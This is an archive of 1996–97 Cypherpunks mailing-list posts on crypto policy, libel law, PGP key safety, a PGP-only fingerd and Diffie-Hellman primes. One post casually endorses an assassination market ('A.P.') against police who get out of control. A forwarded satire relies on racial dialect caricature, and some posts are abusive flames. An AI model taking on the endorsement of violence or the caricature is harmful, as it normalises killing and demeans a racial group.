"Fighting for peace, and fucking for virginity."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 17:41:07 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199702010141.RAA29217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

> >    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> >that _my_ property is the result of ME stealing, and hence what I OWN belongs
> >to the community IS theft. I work, and as the result of that work something is
> >created. That something is MINE to do with as I will. If I choose to sell that
> >work for money, that money is mine. If I trade that money for shoes, those
> >shoes are mine. THere is no theft involved.
 
> Tell this to the Native Americans.

Steve,
  Slam-dunk, dude!

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 18:02:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fwd:[Yet another -onics..]
Message-ID: <199702010202.SAA29766@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike Denney wrote:
> 
> ----- Begin Included Message -----
> 
> >From sysgu-1@PaloAlto01.pop.internex.net Thu Jan 30 14:31 PST 1997
> Subject: Fwd:[Yet another -onics..]
> To: "Sonni Zambino" <sonni@dentistat.com>, "Mike Denney" <gomez@BASISinc.com>,
>         "Jim Staudenheimer" <JnCStaud@aol.com>
> Mime-Version: 1.0
> 
> *****************************
> "GEEKONICS" IS JUST A BEGINNING
> by John Woestendiek
> Philadelphia Inquirer
> Wed., January 8, 1997
> *****************************
> 
> NEWS BULLETIN: Saying it will improve the education of children who
> have grown up immersed in computer lingo, the school board in San
> Jose, Calif., has officially designated computer English, or
> "Geekonics", as a second language.
> 
> The historic vote on Geekonics - a combination of the word "geek" and
> the word "phonics" - came just weeks after the Oakland school board
> recognized black English, or Ebonics, as a distinct language.
> 
> "This entirely reconfigures our parameters," Milton "Floppy"
> Macintosh, chairman of Geekonics Unlimited, said after the school
> board became the first in the nation to recognize Geekonics.
> "No longer are we preformatted for failure," Macintosh said during a
> celebration that saw many Geekonics backers come dangerously close to
> smiling. "Today, we are rebooting, implementing a program to process
> the data we need to interface with all units of humanity."
> 
> Controversial and widely misunderstood, the Geekonics movement was
> spawned in California's Silicon Valley, where many children have grown
> up in households headed by computer technicians, programmers, engineers
> and scientists who have lost ability to speak plain English and have
> inadvertently passed on their high-tech vernacular to their children.
> 
> HELPING THE TRANSITION
> 
> While schools will not teach the language, increased teacher awareness
> of Geekonics, proponents say, will help children make the transition
> to standard English. Those students, in turn, could possibly help
> their parents learn to speak in a manner that would lead listeners to
> believe that they have actual blood coursing through their veins.
> 
> "Bit by bit, byte by byte, with the proper system development, with
> nonpreemptive multitasking, I see no reason why we can't download the
> data we need to modulate our oral output," Macintosh said. The
> designation of Ebonics and Geekonics as languages reflects a growing
> awareness of our nation's lingual diversity, experts say. Other groups
> pushing for their own languages and/or vernaculars to be declared
> official viewed the Geekonics vote as a step in the right direction.
> 
> "This is just, like, OK, you know, the most totally kewl thing, like,
> ever," said Jennifer Notat-Albright, chairwoman of the Committee for
> the Advancement of Valleyonics, headquartered in Southern California.
> "I mean, like, you know?" she added.
> 
> THEY'RE HAPPY IN DIXIE
> 
> Yeee-hah," said Buford "Kudzu" Davis, president of the Dixionics
> Coalition.  "Y'all gotta know I'm as happy as a tick on a sleeping
> bloodhound about this." Spokesmen for several subchapters of Dixionics
> - including Alabonics, Tennesonics and Louisionics - also said they
> approved of the decision. Bill Flack, public information officer for
> the Blue Ribbon Task Force on Bureaucratonics said that his
> organization would not comment on the San Jose vote until it convened
> a summit meeting, studied the impact, assessed the feasibility,
> finalized a report and drafted a comprehensive action plan,
> which, once it clears the appropriate subcommittees and is voted on,
> will be made public to those who submit the proper information-request
> forms.
> 
> Proponents of Ebonics heartily endorsed the designation of Geekonics
> as an official language.
> 
> "I ain't got no problem wif it," said Earl E. Byrd, president of the
> Ebonics Institute. "You ever try talkin' wif wunna dem computer dudes?
> Don't matter if it be a white computer dude or a black computer dude;
> it's like you be talkin' to a robot - RAM, DOS, undelete, MegaHertZ.
> Ain't nobody understands.   But dey keep talkin' anyway. 'Sup wif dat?"
> Those involved in the lingual diversity movement believe that only by
> enacting many different English languages, in addition to all the
> foreign ones practiced here, can we all end up happily speaking the
> same boring one, becoming a nation that is both unified in its
> diversity, and diversified in its unity.  Others say that makes no
> sense at all. In any language.
> 
> ----- End Included Message -----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Fri, 31 Jan 1997 18:55:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpfingerd
Message-ID: <199702010255.SAA01163@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For what it's worth, I wrote a very short fingerd that fetches _only_
a user's .pgpplan file, should it exist. Else it just exits. Someone
may have already done this, so be it. This was mostly for my own use,
but if anyone wants the code, feel free to use it. It's available from
my home page ( http://www.veriweb.com/people/jeremey/ ).

After calling getpwnam() on the username supplied, it calls setuid() with
the uid of the user being fingered. It ignores any finger options and
attempts to parse them out. It's possible I missed some. After setuid(),
it attempts to open a file called .pgpplan in the directory (pw_dir)
returned by getpwnam(). If this is not a _regular_ file, it exits, i.e.
no symlinks. Then it shoves the file out over stdout (this assumes it
was invoked by inetd). That's it.

I've only compiled it on Linux and BSDI, but it doesn't do anything very
odd, so it should compile fine on other Unix platforms.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMvKgyy/fy+vkqMxNAQHqKgQAqxKiAzcOUDx9ThN5D6OHwuyUE1WlCtXr
EVjg0d19fhafiTGO3HwAFbk8zxtzs/YMtSJ4a5nbALQTUxVBF/749DboXU+IS37l
urB7MjBb0mB7+4IDmmR/iFEJa/U/mlTWZiLZ7JOq2Y7GtuqDmGgN3Z/T+K0loQvl
7Qn1x8aHXlI=
=RxZM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 18:01:30 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <199702010201.SAA29739@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> 
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

  If the repairman has your pubring and secring files, you can now 
consider them in the same light as a 'busted flush'.
  Chances are, he has neither the capability nor the interest in 
popping open your deep, dark secrets. On the other hand, if he 
returns your computer with a 'shit-eating grin', you may be in for
a world-of-hurt.
  My advice would be for you to check your 'paranoia level' and,
if you are a quart low, then read Phil Zimmerman's PGP documentation
once again, and make your decision based on the reality of the
possibilities involved.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 18:01:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010201.SAA29748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 31 Jan 1997 16:28:56 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

Really? And what if the out come is nothing more than a public statement
in the local newspaper that the original statement was not true and paying
the court costs? I doubt you will find a single attorney who will take the
case because there is no profit for them.

> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

Really? And just exactly do you base this assumption on? Historicaly it
would seem that people want to believe the dirty grit about people. If they
didn't they wouldn't make the National Inquirer as successful as it is.

No, in general people don't give a crap about the real truth or falsity of
the statement unless it directly impacts them in some manner. What they are
interested in is entertainment, something the law should not provide.

The real issue is whether a Democracy can exist in an environment where
there is no requirement of honesty and truth from its citizens. I would
contend that it can't since the democratic process itself is representative
of those people and their beliefs.

If you really and truly belive a democratic society can exist with no
recognition of and protection for reputation we will just have to respectfuly
disagree.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 31 Jan 1997 18:02:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199702010202.SAA29767@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 30 Jan 1997 23:23:18 -0600 (CST)
> From: ichudov@algebra.com
> 
> I can give you an example.
> 
> ``Jim Choate invented an improved bubble sort method, called BSAM.''
> 
> This is undoubtedly false since you likely did not invent any sorting
> method. But you would not be able to get any damages (is that correct?)

Under the present system? Yes, it would not be worth a lawyers time to
process the appropriate paperwork unless I were a computer scientist and the
statement was published in a reputable magazine by something like the ACM or
IEEE.

Under the system I propose you would be forced to publish a public
recantation in the local press as well as paying the legal fees for the
trial at least. Provided of course it was worth the cost of the bond to
me. After all it is my reputation. The only person who should make decisions
about how important my reputation is to me is me, most definitely not you
or any other third party. I suspect you would not allow me to decide your
reputation either.

> When you say "should", what do you mean? That the current law will
> hold you to a minimum standard of evidence?
> Or you mean that it would be nice if it were so?

Neither, the currrent requirements of the law are irrelevant. My premise is
that such current laws are broke, why would I want to promote them? Answer,
I wouldn't. As to 'nice', what is nice isn't an issue. What is necessary is the
recognition that for a democratic society to exist in a world where business
is done based on reputations by parties who may never make more contact
than a email and EFT making statements about such reputations which
are not backed by verifiable evidence should be discouraged strongly.

> > A democratic society should have no tolerence for libel, slander, or other
> > forms of lies.
> 
> Why? And who decides what is a lie?

This is almost too silly to even respond to.

A lie is a statement which could be true but isn't. In the context of the
current discussion this would mean that a statement made by one party about
another party which was told to a third party and was not verifiable with
evidence.

Why should anyone tolerate a liar? Responsible and reasonable people don't
tolerate liars.

Who decides? The same group who decides now, the jury.

> > In civil cases the plaintiff should place a bond, set at some percentage of
> > the maximum permissible award, at the time the case is filed. This would at
> > least cover the general costs of the court and limit nuisance cases.
> > 
> 
> You can either oppose "specieocracy" and inequality of rich and
> poor in libel litigation, or ask to place bonds that will make even
> harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

This is another clever attempt at a smoke screen. Nice try but 'Brrrrrttt',
you loose the bet. I would suggest you don't play poker, your bluffs are
truly amateurish.

If the plaintiff pays up front or at the end is irrelevant. If the plaintiff
loses they pay the cost of the court. If they win then the defendant pays
the court costs, reimbursment of the bond, and the penalites awarded by the
jury/court. The only reason to require anything up front is to act as a
verification that the plaintiff can pay the court costs (which they get back
if they win and must pay anyway if they loose) up front. The reason being
that it would be possible without this for people to skip out on the court
costs if they loose, which would cause another more expensive cost, a
criminal trial, that the people in general would have to carry. The end
result would be that the taxes we would have to pay would be higher just like
your credit card costs are more expensive than they need to be because of
fraud by other card holders.

I would never attempt to speak for you but I pay too much tax now taking
care of deadbeats and similar sorts.

Further more, the bond would not have to be extravagant. If it were a simple
case of libel with no punitive damages involved it would be resolved by a
small claims court and might require no more than $25 - $50 as a bond. The
point of the bond is to make the plaintiff think twice, not hinder them if
that is what they truly feel is their due.


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Theodore Y. Ts'o" <tytso@MIT.EDU>
Date: Fri, 31 Jan 1997 20:26:23 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: CAST
Message-ID: <199702010426.UAA03456@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Fri, 31 Jan 1997 12:42:23 -0500
   From: John Young <jya@pipeline.com>

   For a paper on CAST see:

      http://www.nortel.com/entprods/entrust/cast.html

   "Constructing Symmetric Ciphers Using the CAST Design Procedure"

That URL didn't work, but the following URL did....

	http://www.entrust.com/library.htm

Does anyone know what the intellectual property status of CAST is?

						- Ted





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Jan 1997 20:25:41 -0800 (PST)
To: "Theodore Y. Ts'o" <tytso@MIT.EDU>
Subject: Re: CAST
Message-ID: <199702010425.UAA03405@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ted,

Thanks for the URL correction on Carlisle Adam's CAST paper. 
I see that the Entrust site offers the paper in Word and Postscript 
formats; for those who may prefer an HTML version see a copy 
downloaded from the Nortel site at:

   http://jya.com/cast.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Fri, 31 Jan 1997 20:26:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702010426.UAA03477@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Z.B." <zachb@netcom.com> writes:
> My computer went into the shop a few days ago, and I was unable to take
> my PGP keys off it before it went in.  What are the security risks here?
> If the repairman chooses to snoop through the files, what would he be
> able to do with my key pair?  Will I need to revoke the key and make a
> new one, or will I be relatively safe since he doesn't have my
> passphrase?

If the keys were protected with a passphrase, then it's unlikely that
someone with access to the disk can use them without the passphrase.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 31 Jan 1997 23:47:16 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199702010747.XAA09284@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:
> >I dare say that the downside of this is much less pleasant than the
> >virtual anarchy (in the bad sense) we suffer now.  If the police get
> >out of control, A.P. will arrive just in time to plug a few of those
> >holes, so to speak.  Ideally, future robotics should be able to provide
> >something like Gort (sp?) to take the place of human officers, given
> >advances in the kind of pattern matching needed to deter aggression and
> >the like.  Those who don't make it past the robots, well, the rest of
> >us can learn to behave, and we'll be much better off when we do.

> Your comparison with the fictional Gort, in the movie "The day the earth
> stood still" is of course apt.  It was only after I'd written most of the
> essay that I realized that an AP-type system would function much as Gort did.

There are some things that just go off in my mind like a light bulb
coming on, and the realization that the system would take care of
itself was one of those things.

> Occasionally we (CP) see a spoof where somebody claims to have developed a
> software program to "replace the judicial system" or something like that.
> Well, the problem with such a claim (aside from the obvious and enormous
> AI-type difficulties) is that the current system contains numerous biases.
> Writing a program to replace the legal system would presumably require that
> these biases be measured (and admitted-to!) and implemented into a
> well-defined system.

There is also a great deal of disinformation in the system, which
leads to a misperception on the public's part about just what those
biases might be.

Examples that come to mind are the OKC bombing and the OJ murders.
In both cases, grand juries composed of middle class people (all or
almost all White in the Simpson case) would not indict based on the
evidence they were given, and so they were dissolved and an excuse
was made up to cover someone's butt.  Now some of the fallout is
blowing in in the form of revelations about the FBI crime lab.

> What we'd discover is that the current system only barely resembles the
> guarantees in the US Constitution. At that point, there would be an argument
> between those who will insist that the Constitution be followed, and those
> who believe that the current de-facto system, however biased, be maintained
> as-is.

I don't see any reason why we can't develop programs to do certain
levels of preliminary analysis in these cases, much like the programs
which have been around for years on PC's, i.e., Mind Prober, Decision
Analyst, and so on.  I gotta believe that teams of people who prepare
these cases are using this stuff anyway, albeit discretely.  If it's
brought out into the open, and the public can look at case facts that
have been processed thru multiple software sites, it would have to be
a helluva lot better than Joe Schmucko's byline in the L.A. Times,
for example.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 23:55:43 -0800 (PST)
To: sameer <sameer@c2.net>
Subject: Re: Cats Out of Bags
Message-ID: <199702010755.XAA09518@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sure, it's available.  For most governments, though, 
even DES is enough to threaten their dominance,
though 40-bit is pretty much a joke.
The main impact of US 56-bit products would be that they make
it easier to get crypto built in to unavoidable Microsoft applications*,
	[*If the Borg had any sense....]
as opposed to the totally useless crypto in MS Word, etc.;
users can obviously also use free-world crypto software also,
but you usually have to explicitly go obtain and install that.

With Netscape, even wimpy 40-bit crypto is a threat, 
since almost no country will block you from using it, and
since 128-bit products are readily available overseas,
though you also have to do nonzero work to get them.
Since the two products are interoperable (at the wimpy level),
it's easy to upgrade, and the 40-bit version also works with 
SafePassage.

At 11:50 AM 1/31/97 -0800, sameer wrote:
>> > "Other governments were upset with the 56-bit export allowance. 
>> > They said it was going to undermine their national security."
>> 
>> On this point, the other governments are correct.
>> It really _is_ tougher to maintain a nation-state when your
>> former subjects can have private conversations with each other
>> and with other governments' former subjects......
>> And even 56 bits is a start.
>
>	Full strength crypto is already available worldwide. It makes
>not one iota of difference.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 23:55:41 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Fwd:[Yet another -onics..] [NOISE][POTENTIAL HUMOR]
Message-ID: <199702010755.XAA09517@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


We have to stop this tragic corruption of the English language,
to protect our childen's delicate ears and aesthetic sensibilities.
Why, a mere few months ago, I encountered a child of no more than 10
singing along to 
	"You Can Build A Mainframe From The Things You Find At Home" -
corrupted by the adults in his environment into praising equipment that
should never have been built by mankind and should be allowed to lie still,
undiscovered for the rest of history.  And this poor child knew all the words.
Shocking.  Our public schools have clearly failed to educate him correctly.

>> *****************************
>> "GEEKONICS" IS JUST A BEGINNING
>> by John Woestendiek
>> Philadelphia Inquirer
>> Wed., January 8, 1997
>> *****************************
.....
>> Controversial and widely misunderstood, the Geekonics movement was
>> spawned in California's Silicon Valley, where many children have grown
>> up in households headed by computer technicians, programmers, engineers
>> and scientists who have lost ability to speak plain English and have
>> inadvertently passed on their high-tech vernacular to their children.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Jan 1997 23:55:52 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Intelligence Update (fwd)
Message-ID: <199702010755.XAA09534@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 11:11 PM 1/30/97 -0800, you wrote:
>>>Note: According to a recently obtained DOJ surveillance training manual:
>>>"The typical range for the 28 ghz devices is six miles, the typical
>>>range of the 2.4 ghz is thirty miles, and the typical range for the
>>>1.7ghz  is 44 miles."
>
>How sure are you about the quality of your sources here?
>I'd expect 1.7ghz and above equipment to require line of sight,
>and even a range of six miles seems really high for a very low power
>device - getting that as "typical" seems pretty unlikely.
>Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)

While these claims may be for links under near ideal conditions, Hams
routinely make very long distace links at 900, 2400 and 5700 MHz during
contests using less than 1 Watt.  Also, our deep space probes operate many
links to earth in this spectral region using low power transmitters.  Of
course they have 200 ft. antennas (e.g., Goldstone) at the receiveing end
with cryogenic reciever front-ends.

Links do become increasingly line-of-sight above 1 GHz this is radio not
visual (i.e., shots through trees. etc.) and there is increasingly the
ability to utilize reflection ("billboard" shots) advantageously.

As frequency increases path loss also increases.  Fortunately, as
frequencies increase antenna gain also increases.  In fact, by holding
antenna dimensions constant (for an arbitrary antenna design, e.g.,
parabolic) gain increases with frequency in direct proportion to increasing
path loss, thus cancelling it out.

There are other factors, such as required S/N or bit error rate for the
particular application, reciever sensitivity and noise floor, and
background noise levels, which directly affect link margins (transmit power
- path loss - reciever sensitivity; all in dB) and thus viability of a
link.  Above 1 GHz terrestrial noise, including that produced by man,
declines rapidly at the moment.  However, as more UHF communication devices
and microprocessors operating at 100s of MHz proliferate that noise floor
is sure to rise.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 1 Feb 1997 07:41:29 -0800 (PST)
To: whgiii@amaranth.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199701311510.HAA15741@toad.com>
Message-ID: <199701280548.FAA00251@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Mr William H. Geiger III "Author of E-Secure" writes:
> <sigh> for the benifit of those misfortunate enough to be still working on
> dumb terminals I have disabled my PGP script until I have time to add a
> word wrap routine to it.

<sigh> it is you who were demonstrating your ineptitude by spewing
120+ line length postings.  Why is it so difficult for you to keep
under 80 chars?  Would you like some technical assistance?  Notice how
near every one else apart from yourself is managing to keep under 80
chars?  Does every one apart from yourself live in the `dark ages'?  I
suppose you write letters on A4 landscape mode too?

When I see a posting with such long lines I hit the `n' key.

(cpunks-flames material? :-)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Feb 1997 14:18:54 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Geiger and long, unreadable lines
In-Reply-To: <199702011740.JAA21963@toad.com>
Message-ID: <199701291607.QAA00392@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes on cpunks-flames:
> Adam Back <aba@dcs.ex.ac.uk> writes on cpunks-flames:
> >
> > Mr William H. Geiger III "Author of E-Secure" writes on cpunks:
> > > <sigh> for the benifit of those misfortunate enough to be still working on
> > > dumb terminals I have disabled my PGP script until I have time to add a
> > > word wrap routine to it.
> >
> > <sigh> it is you who were demonstrating your ineptitude by spewing
> > 120+ line length postings.  Why is it so difficult for you to keep
> > under 80 chars?  Would you like some technical assistance?  Notice how
> > near every one else apart from yourself is managing to keep under 80
> > chars?
> 
> Notice how near every one else apart from yourself bends over for the NSA,
> and is willing to use a 40-bit key "escrowed" with the feds?  Why is it so
> difficult for you to keep under 40 bits? Would you like some technical
> assistance? Why are you setting yourself apart from the Internet community
> that so happily embraces GAK? Why do you desire "privacy" for your traffic
> when everyone else does not? What have you got to hide? Are you looking to
> transmit child pornography, bomb-making instructions, and/or cannabis
> legalization propaganda? We better have a look at your hard disk soon.

btw Dimitri, a crypto question:

Diffie-Hellman key generation, there are two main ways of generating
the diffie-hellman prime modulus, method 1:

	p = 2q+1

where q is a prime also.

And method 2:

	p = r.2q+1

where q is a prime and r is a randomly generated number.

With method 1, the security parameter is the size of p in bits (or
size of q, as they are related).

With method 2, there are two security parameters, size of q and size
of p in bits.  

Method 2 has the advantage that key generation is faster as it is
quicker to generate new random numbers r, than to repeatedly generate
trial prime q as you have to do in method 1.  However is the security
weaker in method 2?  What size of p and q do you have to use to get
the same security as for same size of p in bits as in method 1?  What
should be the relationship between the size of p and q?

(this isn't cpunks, this is cpunks-flames, so your non-crypto pledge
shouldn't hold, besides Sandy has a stated policy of killing the whole
thread, so I thought it amusing to continue your crypto relevance in
moving on to technical topics rather than political)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Murray Hayes" <mhayes@infomatch.com>
Date: Sat, 1 Feb 1997 21:54:52 -0800 (PST)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: GSM technology
Message-ID: <199702020554.VAA17925@infomatch.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997 13:37:38 -0800, Lucky Green wrote:

>At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>>	Does anyone use ADSL lines?  or are they still very expensive?
>
>I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
>

I'm not sure about Nortel but ADSL is availible in Calgary from CadVision.
http://www.cadvision.ca

It's not cheap.

BCTel is yapping about offering it by the end of the year.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 31 Dec 1996 16:47:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
Message-ID: <19970101003304.25550.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 31 Dec 1996, Hal Finney wrote:

> An alternative is to give each subscriber only a small, fixed number of
> blinded tokens which he will use for the lifetime of his subscription
> to the list.  When someone posts anonymously, they use up one of their
> tokens.  Then, if the message was not abusive, a new blinded token is
> created, encrypted with the public key of the good-guy anonymous poster,
> and broadcast to subscribers.  This way good anonymous posters will get
> to keep posting, while abusive ones will shortly run out of anonymous
> posting tokens.

Oops, ran out of tokens....

UNSUBSCRIBE cypherpunks
SUBSCRIBE cypherpunks Lance

OK now I'm ready to post more crap!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Tue, 31 Dec 1996 21:42:13 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199612312306.RAA00569@smoke.suba.com>
Message-ID: <Pine.LNX.3.95L01at.970101003317.4077B-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 31 Dec 1996, snow wrote:


  [NON-Text Body part not included]

That message said:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>The Thorn wrote:
>> Bill Frantz wrote:
>> > All messages sent to the list must be encrypted with the list's
>public key.
>> 
>> So in order to post here, I hafta install and run PGP?  Well, people
>> were looking for the perfect formula to deny service to guys like me,
>> and guess what?  You found it!  I will *not* install and run PGP.
>
>     Why not? There are acceptable email interfaces for just about every
>platform out there (pgp-elm, Eudora hooks, Private Idaho etc), and it 
>really isn't _that_ much of a hassle to do.
>
>    It isn't enough to _write_ the code, or even to talk about it, you
>have 
>to USE it as well.
>
>
>Petro, Christopher C.
>petro@suba.com <prefered for any non-list stuff>
>snow@smoke.suba.com
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3i
>Charset: noconv
>
>iQCVAwUBMsmcRPee0/pvOCipAQH0fQP/aUpiKWhsR5l7IYKOHQ0KbW6haFee0IYB
>PS191z1Mb/yVdqlbVCoQrqIAMCNTnWWMsLzwJDwczFrNcCO/Gn9T+jD3Vcv3D9Jx
>mkXLSGBJUXW4/JosUJWHHh3yJFL0dYFveGPkkM4LUpe9waVdAbhUcXX7zbleK+Fs
>mXMRLOqhHf4=
>=uAlw
>-----END PGP SIGNATURE-----


I am using one of those email interfaces (premail + pine) and had trouble
reading your last message.  I had to save the PGP attachement to a file.
To quote it, I had to read it in from a file.  No big deal, and if I
changed software I could probably make it automatic.  I suspect most
people on the list have yet to set up any software of this type.  So if I,
already using such software, had a little trouble with one message, how
much trouble would others have?  Then if the entire list were encrypted?
I suspect the list would lose a lot of subscribers.


- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBMsn4/d7xoXfnt4lpAQGVjgQAtBUbc4+1NJza4Dkpb5e5iH8oqkimPN1y
L2OBkEwczlOmibGGQXju24jcubqbj5a+yl9GvmpA5kqoWvgMPSMWhHy0dya0nuZ5
f+9k1MqIBJzcC92GK3YM0e2kTL5GW8w+6FKgg7qNh5Tj3pSIq6o94pjNt05CO5qG
O9dz0HNaOl0=
=8CFz
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JohnnyDaven@aol.com (Johnny Davenport)
Date: Tue, 31 Dec 1996 15:58:46 -0800 (PST)
To: cyberconnect@skyenet.net
Subject: Would you be interested in this?
Message-ID: <32c99f3a.107893882@smtp.a001.sprintmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Our mutual friend, JamesB@aol.com said this might be something you
would be interested in.

